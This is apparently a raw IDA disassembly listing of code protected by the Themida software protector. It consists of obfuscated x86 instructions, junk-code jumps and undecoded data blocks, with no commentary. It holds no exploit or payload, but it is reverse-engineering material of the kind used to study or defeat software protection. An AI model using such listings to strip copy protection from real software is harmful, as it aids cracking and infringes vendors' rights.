loc_5508F8:				; CODE XREF: Themida_:00545D30j
		jz	loc_54B169
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_544BA0
; ---------------------------------------------------------------------------
		dd 2997C181h, 0CA01D422h, 4C28359h, 5C241487h, 81E18951h
		dd 4C1h, 0ADDFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55092A:				; CODE XREF: Themida_:0054609Bj
		xor	edx, 5AA2A37Eh
		or	esi, edx
		pop	edx
		sub	esi, 101728E5h
		sub	esi, 5F0077Ah
		push	esi
		xchg	eax, [esp]
		push	eax
		not	dword ptr [esp]
		pop	eax
		xchg	eax, [esp]
		jmp	loc_54D846
; ---------------------------------------------------------------------------
		dd 4653B768h, 41055E4Dh, 0E90C7123h, 0FFFFBE8Ah, 4C481h
		dd 0C4E90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55096B:				; CODE XREF: Themida_:0054D534j
		inc	eax
		push	ebp
		push	eax
		mov	eax, 351B77FCh
		mov	ebp, eax
		jmp	loc_54EDE8
; ---------------------------------------------------------------------------
		dw 8A68h
		dd 5A145B04h, 15AD729h,	5B0EE9CFh, 0E381FFFFh, 1D2353E7h
		dd 3293C381h, 0D90964BFh, 0FFEBD1E9h, 2CD80CFFh, 4EC8146h
		dd 0E9000000h, 0FFFF6F56h, 4240481h, 0E9000000h, 0FFFFB9ACh
; ---------------------------------------------------------------------------


loc_5509B8:				; CODE XREF: Themida_:00545B0Ej
		mov	ebx, esp
		add	ebx, 4
		push	edi
		push	esi
		mov	esi, 6271769Eh
		jmp	loc_54BE89
; ---------------------------------------------------------------------------
		dd 52C1C681h, 7BE9F89Eh, 1FFFF6Bh, 7EB81C3h, 50359B28h
		dd 640171B8h, 4825E90Bh, 0BB53FFFFh, 0
		dd 0DA87D329h, 5E2C15Bh, 8108EAC1h, 2984C0C2h, 0FE8DE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550A06:				; CODE XREF: Themida_:00545135j
		pop	dx
		add	al, 18h
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 69h
		mov	bl, 94h
		jmp	loc_54E974
; ---------------------------------------------------------------------------
aBI		db 'Ǩ\',0
		dw 584Ch
		dd 0E95FFA01h, 0FFFF4D08h, 74E9505Ah, 5DFFFF56h, 0E91C5F09h
		dd 0FFFF43B9h, 0EB8014B3h, 5BD8282Bh, 0D1685A04h, 0E900000Ah
		dd 0FFFFD069h, 50E95F54h, 66FFFF9Eh, 66240C89h,	0E9C8B60Fh
		dd 0FFFF4B06h, 4C481h, 0B8500000h, 3F3903EEh, 4008E8C1h
		dd 0FF76C5E9h, 1BEB81FFh, 18C2027h, 0CE4AE9DAh,	6C29FFFFh
		dd 0DE90824h, 0FFFFFF9Ah, 34FF2434h, 24048B24h,	4C481h
		dd 0C4830000h, 440B6804h, 2C890000h, 11F76824h,	24890000h
		dd 24048324h, 242C8B04h, 0FF5A8BE9h, 59C829FFh,	1610B951h
		dd 814127F7h, 0E0F5CC9h, 2E1C174h, 5AF1F181h, 0C8019D7Ah
		dd 81D80159h, 4ECh, 24148900h, 0F1597BAh, 3FE94A62h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550AEF:				; CODE XREF: Themida_:0054F30Ej
		mov	edi, 6700F21h
		mov	ecx, 6702F21h
		sub	ecx, edi
		pop	edi
		jmp	loc_54ED41
; ---------------------------------------------------------------------------
		db 88h,	0F1h, 0E9h
		dd 0FFFFF027h
; ---------------------------------------------------------------------------


loc_550B08:				; CODE XREF: Themida_:0054B4CAj
		not	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_54835A
; ---------------------------------------------------------------------------
		dw 1489h
		dd 148B5424h, 4C48124h,	81000000h, 4C2h, 4C28100h, 0E9000000h
		dd 0FFFFC24Dh, 14B8505Dh, 2D70511Ch, 3E7E7269h,	512DD8F7h
		dd 1CE2D56h, 0C58158C5h, 4, 0FFDF81E9h,	242C89FFh, 0FF7F29E9h
		dd 4B850FFh, 1000000h, 895258C1h, 0B974E9E2h, 0C483FFFFh
		dd 68D23104h, 54BFh, 81241C89h,	0A1F2404h, 49E97B60h, 0F7FFFFD8h
		dd 525D2414h, 4A3525BAh, 6E2C16Eh, 2462EA81h, 0EA8150DDh
		dd 1A54C629h, 455AD521h, 3565BA52h, 0F281752Dh,	8CD29884h
		dd 0FF5549E9h, 24C134FFh, 8856040Bh, 35B658C1h,	4AB35366h
		dd 5B66DE00h, 0B450CE00h, 0EDE0E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BCE:				; CODE XREF: Themida_:005477B7j
		neg	ecx
		jmp	loc_54BABD
; ---------------------------------------------------------------------------


loc_550BD5:				; CODE XREF: Themida_:0054F888j
		add	esp, 4


loc_550BDB:				; CODE XREF: Themida_:00547F8Cj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	ebx
		jmp	loc_54A7BB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 5F17E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550BFA:				; CODE XREF: Themida_:0054A4EEj
		or	eax, eax
		jnz	loc_547615
		push	eax
		push	1
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54F8BA
; ---------------------------------------------------------------------------
		dw 0D4F6h
		dd 0FF4DE4E9h, 2434FFFFh, 0D525E95Dh, 2859FFFFh, 2C322CD8h
		dd 45E953BAh, 81FFFF9Eh, 0B3962BC1h, 8B5851D5h,	0F7E9240Ch
		dd 0F7FFFFA1h, 0E3C281DAh, 29758743h, 0C3815AD3h, 617B293Fh
		dd 0B850C301h, 69715763h, 0FF67A5E9h, 59CF01FFh, 8702C783h
		dd 665C243Ch, 0E99CC885h, 0FFFF3E69h, 6824048Bh, 2335h
		dd 89243C89h, 0E68956E7h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 0FFD709E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550CAD:				; CODE XREF: Themida_:0054E976j
		pop	edx
		push	bx
		jmp	loc_54F679
; ---------------------------------------------------------------------------
		db 0F6h, 1Ch, 24h
		dd 8FFFE99Ch, 9035FFFFh, 89081C7Ah, 448158C6h, 71AA0424h
		dd 74017AF7h, 6C810424h, 71AA0424h, 348B7AF7h, 0A307E924h
		dd 0BD35FFFFh, 5044196Bh, 0A5240481h, 5F5FA55Eh, 0FF8284E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550CF5:				; CODE XREF: Themida_:0054E3B1j
		add	bl, 7Ch
		jmp	loc_54B4A9
; ---------------------------------------------------------------------------


loc_550CFD:				; CODE XREF: Themida_:00546F47j
		mov	eax, 4
		mov	esi, eax
		pop	eax
		jmp	loc_54CBD9
; ---------------------------------------------------------------------------
		dw 0E7BEh
		dd 8127920Dh, 0FE3B4FC6h, 1C68371h, 2414F756h, 0FF5E27E9h
		dd 68515AFFh, 66F1h, 81242489h,	42404h,	60E90000h, 8BFFFFC3h
		dd 0C4812404h, 4, 1C8BD921h, 3FF7E924h,	0C281FFFFh, 4
		dd 5C241487h, 8108EDC1h, 435E10EDh, 4EC8100h, 89000000h
		dd 0E989240Ch, 39E9CA89h, 0FFFFFFF0h, 148B2434h, 4C48324h
		dd 3104C483h, 0E9565DE8h, 0FFFF45C9h, 4244C01h,	242C8B59h
		dd 8104C483h, 4C5h, 4EC8300h, 51240489h, 3176CB9h, 2E1C118h
		dd 0C4C98141h, 4922F463h, 46F8C181h, 0E9814411h, 0A70DC6EAh
		dd 58E9C889h, 89FFFFF1h, 4C381E3h, 55000000h, 0FF4985E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550DCD:				; CODE XREF: Themida_:00545EC1j
		sub	bl, 35h
		sub	al, bl
		pop	ebx
		add	al, cl
		add	al, 37h
		jmp	loc_54D2AD
; ---------------------------------------------------------------------------


loc_550DDC:				; CODE XREF: Themida_:0054954Aj
		btc	[esp], ax
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------


loc_550DE7:				; CODE XREF: Themida_:0054FA1Fj
		pop	esp
		xor	ebx, eax
		jmp	loc_5460D0
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E18107E1h, 3E7648B8h, 38B8E981h, 19E978CBh,	66FFFF52h
		dd 0D0885051h, 88C38853h, 0E9585BDDh, 0FFFFED70h
; ---------------------------------------------------------------------------


loc_550E14:				; CODE XREF: Themida_:0054BF55j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_546DC4
; ---------------------------------------------------------------------------
		dw 2489h
		dd 0DF64E924h, 8B66FFFFh, 0E9512404h, 0FFFF7699h, 0E689565Bh
		dd 4BA52h, 0D6010000h, 4B8505Ah, 1000000h, 0C129E9C6h
		dd 0EB81FFFFh, 5EB672ABh, 0E8E9DF01h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E57:				; CODE XREF: Themida_:0054AFE4j
		neg	edi
		xchg	edi, edx
		add	edx, 2F251C4Fh
		jmp	loc_54D1DC
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 59E90000h, 87FFFFBAh, 895C242Ch, 11B7241Ch
		dd 1C8BFD20h, 4C48124h,	80000000h, 77E97BEDh, 31FFFFE6h
		dd 14332414h, 0F9F65C24h, 0CCB60F66h, 2B8668h, 240C8900h
		dd 0C1815954h, 4, 0FFDC67E9h, 3C3BE9FFh, 36E9FFFFh, 5AFFFF3Ch
		dd 0E9386A89h, 0FFFFFD6Dh, 295FFD31h, 242C8BE8h, 3D4E9h
		dd 0C895C00h, 8887B524h, 2434FFEEh, 0FF56B2E9h,	0C2835EFFh
		dd 73EA8101h, 3179E57Ah, 24148BD3h, 0FFB295E9h,	2D055AFFh
		dd 158773Ch, 3C2D2DC8h,	0F0685877h, 89000070h, 0BB68242Ch
		dd 8900001Dh, 0CDBE2434h, 57644638h, 866196BFh,	5FFE0936h
		dd 7169C681h, 0F6816407h, 0D8DB9974h, 0FFD855E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550F31:				; CODE XREF: Themida_:00546B1Fj
		push	edi
		jmp	loc_54BB2A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 296B2EA1h, 0BE2118BAh, 8765E92Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550F46:				; CODE XREF: Themida_:005505F8j
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		push	ebx
		mov	ebx, 2A2967E7h
		dec	ebx
		jmp	loc_54ED08
; ---------------------------------------------------------------------------


loc_550F68:				; CODE XREF: Themida_:005460E8j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	edx
		push	edx
		mov	edx, esp
		jmp	loc_54EF92
; ---------------------------------------------------------------------------
		dd 4A04BA52h, 6B97D34h,	317D344Ah, 0CD015AD1h, 83240C8Bh
		dd 0D5E904C4h, 66FFFFF8h, 83240C8Bh, 2C8904ECh,	2C8B5424h
		dd 0E2895224h, 24BEBD55h, 0F581229Eh, 229E24BAh, 0FF4320E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FB9:				; CODE XREF: Themida_:0054F6EEj
		add	edi, esi
		sub	edi, 3BF36B1Eh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_54D279
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 0E950C301h, 0FFFF9417h, 0FF3B14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FDD:				; CODE XREF: Themida_:0054D2A8j
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_54834A
; ---------------------------------------------------------------------------


loc_550FF2:				; CODE XREF: Themida_:0054B789j
		add	edi, 0E8EFC01Fh
		add	ebx, edi
		pop	edi
		and	ebx, 49493AEDh
		add	ebx, 0A15FD2Dh
		sub	edi, ebx
		pop	ebx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 237D519Eh
		sub	ebx, 1D223667h
		sub	ebx, 65B1B33h
		jmp	loc_54A9B7
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 48BC701h,	4C48324h, 0FFDEE3E9h, 24248BFFh, 8066B151h
		dd 80E9F5F1h, 5DFFFFEFh, 8158C531h, 83A67AC5h, 9C79E90Bh
		dd 3F05FFFFh, 0E9157104h, 0FFFFF71Ah, 24048B66h, 1D8268h
		dd 24148900h, 0E9E28952h, 0FFFFD2ACh
; ---------------------------------------------------------------------------


loc_551074:				; CODE XREF: Themida_:0054D849j
		add	esp, 4
		jmp	loc_54EE05
; ---------------------------------------------------------------------------


loc_55107C:				; CODE XREF: Themida_:00550768j
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	116DE700h
		pop	ecx
		add	ebp, ecx
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jmp	loc_54998A
; ---------------------------------------------------------------------------
aL4H@		db '‹4$h@-',0
		align 2
		dw 3489h
		dd 815E5424h, 4C6h, 4C68300h, 5C243487h, 4C481h, 32680000h
		dd 8900007Fh, 0EC81240Ch, 4, 50243489h,	27644CB8h, 55D2E92Eh
		dd 0B753FFFFh, 0E8E78082h, 0FF5421E9h, 0A7045BFFh, 0AAE9E828h
		dd 89FFFF9Dh, 4C581E5h,	0E9000000h, 0FFFFB54Fh,	973B36BBh
		dd 0EEB811Dh, 5E03419h,	2A576F3Dh, 8DE9D801h, 0DFFFF88h
		dd 583F46D0h, 0BF40AD0Dh, 0E9D8F717h, 0FFFFD363h, 0F8009104h
		dd 1C8B912Ch, 98C5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551136:				; CODE XREF: Themida_:00545A32j
		pop	ebx
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54EFB9
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0D6h
		dd 81186262h, 844880F6h, 0F1C68174h, 1F15337h, 4977E9F7h
		dd 0C483FFFFh, 0FFF82104h, 525F2434h, 0C281E289h, 4, 8704EA83h
		dd 0E95C2414h, 0FFFFF75Dh
; ---------------------------------------------------------------------------


loc_551178:				; CODE XREF: Themida_:0054D9CBj
		push	530Dh
		mov	[esp], ecx
		mov	ecx, edx
		mov	esi, ecx
		mov	ecx, [esp]
		push	7C11h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54914D
; ---------------------------------------------------------------------------
		dw 7805h
		dd 59012200h, 0FB7A342Dh, 68BB536Fh, 813DE344h,	26535BCBh
		dd 0AAC3811Bh, 291DD9EBh, 79AFE9D8h, 0B753FFFFh, 0D5EF80AFh
		dd 66DCB652h, 36B450h, 48B66E6h, 2C48124h, 0E9000000h
		dd 0FFFFC5A5h
; ---------------------------------------------------------------------------


loc_5511E8:				; CODE XREF: Themida_:00544DF0j
		mov	ebp, 0A7C3FB9h
		mov	eax, 0A7C3F9Dh
		xor	eax, ebp
		pop	ebp
		add	eax, 4FC43A3Ah
		add	eax, 793757D0h
		add	eax, edi
		sub	eax, 793757D0h
		sub	eax, 4FC43A3Ah
		jmp	loc_546B01
; ---------------------------------------------------------------------------
		dd 0BFh, 0E9FD8900h, 0FFFF5EDEh, 7AE9F029h, 8FFFFFD5h
		dd 38C7E902h, 8B59FFFFh, 0EC83242Ch, 24048904h,	0E9535854h
		dd 0FFFFB88Dh, 535DEA01h, 2BBh,	5BDA0100h, 31241433h, 14332414h
		dd 24248B24h, 0FF6CC1E9h, 736866FFh, 0C896670h,	30F4B124h
		dd 285966CFh, 0E82CE9F8h, 5751FFFFh, 3F0DCBBFh,	5191B961h
		dd 0F9311F05h, 0EDB9515Fh, 0E9657E27h, 0FFFFF109h
; ---------------------------------------------------------------------------


loc_551288:				; CODE XREF: Themida_:0054B9A1j
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_544AF1
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 76D668C3h, 4890000h, 3837E924h, 0EE01FFFFh
		dd 2434335Dh, 33243431h, 18E92434h, 80FFFFD9h, 0C3809FCBh
		dd 0FFD8301Ah, 61E92434h, 89FFFFA3h, 4C381E3h, 0E9000000h
		dd 0FFFF657Eh, 0EF80D7F6h, 0E5C780FFh, 815BF830h, 4ECh
		dd 241C8900h, 0FF60A8E9h, 5A2E0EFFh, 5A2E1200h,	0
		dd 53F55B00h, 5A3A3D3Eh, 1CCC4F00h, 9BB6FAh, 21300h, 200h
		dd 100h, 300h, 1CCC4F00h, 0FAh,	4 dup(0)
		dd 5548ED00h, 5629CA00h, 55363700h, 55E21A00h, 557DDE00h
		dd 563F2500h, 553FAC00h, 55A25A00h, 55AAF500h, 56073700h
		dd 56235800h, 55D4B700h, 5644CF00h, 5664BC00h, 558FCE00h
		dd 5535E200h, 55701E00h, 56595C00h, 5644C700h, 56313E00h
		dd 55E06600h, 56534C00h, 554A0200h, 55EB1E00h, 5556E100h
		dd 5639CE00h, 56311F00h, 55AF0600h, 55D07A00h, 5580C300h
		dd 55A55200h, 561A9500h, 55B79E00h, 561B4200h, 56629900h
		dd 55C88C00h, 557BD700h, 55410500h, 564C9000h, 56469700h
		dd 559C9F00h, 55A3F900h, 55A03800h, 553D3100h, 5556C200h
		dd 56014900h, 562AD800h, 5536B900h, 55A7DF00h, 557D8000h
		dd 5589F600h, 55737500h, 5523A400h, 5531D200h, 55ABB600h
		dd 55443800h, 55553700h, 56400900h, 558DB500h, 56596800h
		dd 55350600h, 552C9000h, 5554E700h, 55625900h, 55EDD100h
		dd 559F2800h, 55291200h, 56567300h, 558D7B00h, 5586E600h
		dd 551CB200h, 55FCBD00h, 565C7E00h, 55EE7A00h, 5561B300h
		dd 55365E00h, 563C0700h, 55898D00h, 56152F00h, 55E37000h
		dd 557ED700h, 55AD5200h, 55A48100h, 55832C00h, 561C9200h
		dd 5585BA00h, 5545B200h, 55745A00h, 55BB1800h, 5550A700h
		dd 55299F00h, 55CD2100h, 55346900h, 55669300h, 55BC2B00h
		dd 553F7900h, 55861400h, 55920500h, 55A5AB00h, 560DD200h
		dd 564E3700h, 55934A00h, 5628A900h, 557C5500h, 560F3300h
		dd 5657C300h, 55413E00h, 55BBCB00h, 55E2A300h, 55BC8200h
		dd 5663F200h, 557AC000h, 563FD800h, 5589B200h, 553EEA00h
		dd 55F73A00h, 55897300h, 564CCA00h, 564E9600h, 56194300h
		dd 5628B400h, 56307900h, 55F32B00h, 5531EA00h, 565AC200h
		dd 56404900h, 56401800h, 55394900h, 55692300h, 55581300h
		dd 56633700h, 55A55E00h, 55563A00h, 560E7D00h, 55A26200h
		dd 5610F000h, 55D47D00h, 55776200h, 55F57B00h, 554FB700h
		dd 5631DA00h, 554F1700h, 55CEB700h, 564ED000h, 56386300h
		dd 562E4800h, 554E9300h, 55678100h, 5573A800h, 55439400h
		dd 55B2C800h, 55BB7200h, 553FB400h, 55583600h, 5571D900h
		dd 5619B000h, 5553A200h, 5628C600h, 551E7B00h, 56415600h
		dd 559E8600h, 55A1C800h, 55473600h, 56166400h, 5521BA00h
		dd 56591100h, 56202F00h
		db 0
; ---------------------------------------------------------------------------


loc_5515E1:				; CODE XREF: Themida_:0059227Aj
					; Themida_:0059BBF9j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 638499Ah
		mov	eax, edi
		add	edi, 63846B2h
		cmp	eax, [edi+2Ch]
		jnz	short loc_5515FF
		jmp	short loc_551612
; ---------------------------------------------------------------------------


loc_5515FF:				; CODE XREF: Themida_:005515FBj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55160E
; ---------------------------------------------------------------------------


loc_551609:				; CODE XREF: Themida_:00551610j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55160E:				; CODE XREF: Themida_:00551607j
		or	ecx, ecx
		jnz	short loc_551609


loc_551612:				; CODE XREF: Themida_:005515FDj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55161F:				; CODE XREF: Themida_:00551626j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55161F


loc_551628:				; CODE XREF: Themida_:0055218Aj
					; Themida_:00552740j ...
		lodsb
		jmp	loc_55D3A6
; ---------------------------------------------------------------------------
		dw 483h
		dd 1C8B0424h, 0EF60E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55163A:				; CODE XREF: Themida_:0056211Dj
		push	esp
		jmp	loc_55AD8A
; ---------------------------------------------------------------------------


loc_551640:				; CODE XREF: Themida_:00553F89j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 14A60A8Ah
		push	ecx
		push	ebp
		jmp	loc_5578AF
; ---------------------------------------------------------------------------
		dw 5351h
		dd 76620BBh, 245C0107h,	815B5B04h, 76620EBh, 0DDE95907h
		dd 3300009Ah, 7FE9241Ch, 200000DBh, 0C05B66D8h,	652C06E0h
		dd 8858C730h, 1C8B66FDh, 2C48124h, 88000000h, 2434FFEFh
		dd 0E6895659h, 4C681h, 0C6830000h, 24348704h, 66F8305Ch
		dd 5DE685Bh, 0C890000h,	63FDE924h, 248B0000h, 754FE924h
		dd 685C0000h, 62E0h, 84D4E9h, 52D6F700h, 582540BAh, 42C2813Ah
		dd 810F6868h, 0D2C92FF2h, 5AD62901h, 295E5F56h,	2434FFF8h
		dd 172EE95Fh, 1C870000h, 14895C24h, 81E28924h, 4C2h, 45C0E900h
		dd 0E9410000h, 0F08h
; ---------------------------------------------------------------------------


loc_551708:				; CODE XREF: Themida_:0055BECAj
		add	edi, 5C4D0DCEh
		add	edi, 0C9B649E9h
		add	ecx, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5633C8
; ---------------------------------------------------------------------------


loc_551720:				; CODE XREF: Themida_:00565CD8j
		mov	eax, 33320DF8h
		jmp	loc_55B87E
; ---------------------------------------------------------------------------
		dw 1489h
aQhO		db '$QhÅo',0
		dw 0E900h
		dd 35ACh
; ---------------------------------------------------------------------------


loc_551738:				; CODE XREF: Themida_:005585F9j
		pop	edx
		add	bl, 3Ch
		sub	bl, cl
		sub	bl, 3Ch
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 55202932h
		add	ebx, 0AADFD6D2h
		add	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 0FB7432h
		shl	ecx, 8
		xor	ecx, 2D16068Ah
		push	esi
		mov	esi, 1D4F689Ch
		and	ecx, esi
		pop	esi
		jmp	loc_55A9C2
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEBh, 44B850FFh, 12BF802h, 0F189E9C3h,	48680000h
		dd 8900002Fh, 65E92404h
		db 38h,	1, 0
; ---------------------------------------------------------------------------


loc_551793:				; CODE XREF: Themida_:00563B15j
		sub	esi, 0EA56F38h
		push	esi
		mov	esi, 0D7C1129h
		jmp	loc_55CF36
; ---------------------------------------------------------------------------


loc_5517A4:				; CODE XREF: Themida_:005560B4j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_5660AF
		push	dword ptr [edi+28h]
		push	5820h
		mov	[esp], eax
		mov	eax, 1CCE0B68h
		push	ebp
		mov	ebp, 67F3177h
		add	[esp+8], ebp
		pop	ebp
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 67F3177h
		push	dword ptr [esp]
		pop	eax
		push	5F0Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	1470h
		mov	[esp], ebx
		push	edi
		mov	edi, 1A701460h
		mov	ebx, edi
		pop	edi
		dec	ebx
		jmp	loc_563F0C
; ---------------------------------------------------------------------------
		db 1
		dd 4812404h, 5B413124h,	24048176h, 7BD86BA5h, 1857E9h
		db 0
; ---------------------------------------------------------------------------


loc_55181D:				; CODE XREF: Themida_:0055A798j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebp
		mov	ebp, esp
		push	edx
		push	6B193269h
		pop	edx
		shl	edx, 3
		add	edx, 22E63941h
		xor	edx, 7BAFCC8Dh
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55A86F
; ---------------------------------------------------------------------------
		dw 0EC80h
		dd 58E788C2h, 0FF3E9h, 36C28100h, 8B1F960Dh, 0C4832404h
		dd 0CAC28104h, 152B417h, 0CAEA81FAh, 0E952B417h, 2835h
		dd 0BE243489h, 278E62B5h, 7BD4BA52h, 0F28107E0h, 14DC12D7h
		dd 7CE3C281h, 0D2F76C3Eh, 0AB6EEA81h, 0DCE91C11h, 58000145h
		dd 122ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_5518A5:				; CODE XREF: Themida_:00556CEEj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		mov	edx, 100A245Eh
		push	edx
		neg	dword ptr [esp]
		pop	edx
		push	ecx
		jmp	loc_565B52
; ---------------------------------------------------------------------------


loc_5518E4:				; CODE XREF: Themida_:00557A14j
		push	7516h
		jmp	loc_565E3A
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 5C242C87h, 0CD41E9h
		db 0
; ---------------------------------------------------------------------------


loc_5518FD:				; CODE XREF: Themida_:00561F67j
		sub	ecx, ebx
		pop	ebx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5639BC
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 0ED1FE9F5h, 0E8010000h, 2E8835Dh, 0DF368h, 24048900h
		dd 42474FFh, 24048F58h,	75CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_551935:				; CODE XREF: Themida_:0056000Fj
		mov	ecx, 5A356F03h
		push	esi
		mov	esi, ecx
		push	esi
		pop	edx
		pop	esi
		pop	ecx
		add	eax, 71B6CCCh
		jmp	loc_55AD01
; ---------------------------------------------------------------------------
aFps5		db 'FPé&5',0
		align 2
		dw 8155h
		dd 395D2434h, 0C8B0A02h, 4C48124h, 81000000h, 2395DF1h
		dd 242C8B0Ah, 0C104C483h, 814104E1h, 0BE5FA1C1h, 6C43E90Ch
		dd 8E2D0000h, 1D2A013h,	0EF8158C7h, 77B8D979h, 0F75FFD09h
		dd 31F531D5h, 1700E9EEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55199A:				; CODE XREF: Themida_:005533B0j
		add	ebx, esi
		add	ebx, 3F3A13D4h
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_560E69
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 4EC835Ch, 0E9240C89h, 12058h
; ---------------------------------------------------------------------------


loc_5519C8:				; CODE XREF: Themida_:00554FD4j
		mov	edx, 63BE3135h
		sub	ecx, edx
		pop	edx
		dec	ecx
		add	ecx, 1CCD1685h
		add	eax, ecx
		jmp	loc_553259
; ---------------------------------------------------------------------------
aZfsSm		db 'ZfS·-éŒ}',0
		align 4
aSM		db '²:é$Œ',0
		dw 0BA00h
		dd 7DF358C6h, 3BB2E281h, 0C2817739h, 3F46483Dh,	0E903EAC1h
		dd 6D3h, 0D0C2815Ah, 8B48B121h,	77E9243Ch
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551A17:				; CODE XREF: Themida_:00563F3Cj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6E15h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_55AA8E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E9DFF74Fh, 11D32h, 2434FF5Ch, 0B168555Ah, 89000072h
		dd 0FFE92424h, 8900001Dh, 4C381E3h, 83000000h, 95E904C3h
		dd 810000C1h, 8E6304E5h, 0A8C58122h, 8146E51Bh,	4ECh, 24348900h
		dd 2278E9h
		db 0
; ---------------------------------------------------------------------------


loc_551A81:				; CODE XREF: Themida_:0056119Dj
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 576B651Ch
		push	4CE4h
		jmp	loc_556F9B
; ---------------------------------------------------------------------------
		dd 0FA53E953h, 0B6520000h, 5AF488F1h, 10102E9h,	2434FF00h
		dd 5A545258h, 4C281h, 0B9510000h, 314B1041h, 5D96F181h
		dd 0C98104AEh, 240153F5h, 6FE9D1F7h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551AD3:				; CODE XREF: Themida_:00560226j
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 6E2B5BABh
		or	ecx, edx
		pop	edx
